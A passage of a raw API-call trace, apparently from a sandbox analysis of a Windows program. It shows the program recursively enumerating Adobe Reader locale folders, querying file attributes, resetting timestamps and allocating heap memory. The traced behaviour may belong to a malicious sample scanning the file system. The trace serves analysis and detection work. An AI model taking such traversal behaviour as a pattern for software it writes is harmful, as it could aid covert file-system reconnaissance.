RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e610 [0082.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cac8 [0082.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e718 [0082.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.539] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.539] GetLastError () returned 0x12 [0082.539] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.539] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.539] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.539] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.540] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.540] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.540] GetLastError () returned 0x12 [0082.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128e400) returned 1 [0082.540] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128e508) returned 1 [0082.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128e2f8) returned 1 [0082.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0082.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.RUS", cAlternateFileName="")) returned 1 [0082.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUS", cAlternateFileName="")) returned 1 [0082.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUS", cAlternateFileName="")) returned 0 [0082.540] GetLastError () returned 0x12 [0082.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.541] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.541] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0082.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.542] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.542] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.542] NtClose (Handle=0x168) returned 0x0 [0082.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.543] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.545] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.545] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="")) returned 1 [0082.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cae8 [0082.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e2f8 [0082.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.547] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SKY", cAlternateFileName="")) returned 1 [0082.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cb08 [0082.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e508 [0082.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.548] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SKY", cAlternateFileName="")) returned 1 [0082.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cb28 [0082.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e400 [0082.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SKY", cAlternateFileName="")) returned 1 [0082.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cb48 [0082.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e820 [0082.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7040) returned 0x129af30 [0082.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.552] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SKY", cAlternateFileName="")) returned 1 [0082.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cb68 [0082.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128e928 [0082.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SKY", cAlternateFileName="")) returned 1 [0082.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cb88 [0082.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ea30 [0082.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.555] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SKY", cAlternateFileName="")) returned 1 [0082.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cba8 [0082.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128eb38 [0082.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.556] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SKY", cAlternateFileName="")) returned 1 [0082.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cbc8 [0082.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ec40 [0082.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.558] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SKY", cAlternateFileName="")) returned 1 [0082.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cbe8 [0082.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ed48 [0082.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.559] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SKY", cAlternateFileName="")) returned 1 [0082.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cc08 [0082.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ee50 [0082.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SKY", cAlternateFileName="")) returned 1 [0082.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125cc28 [0082.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ef58 [0082.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 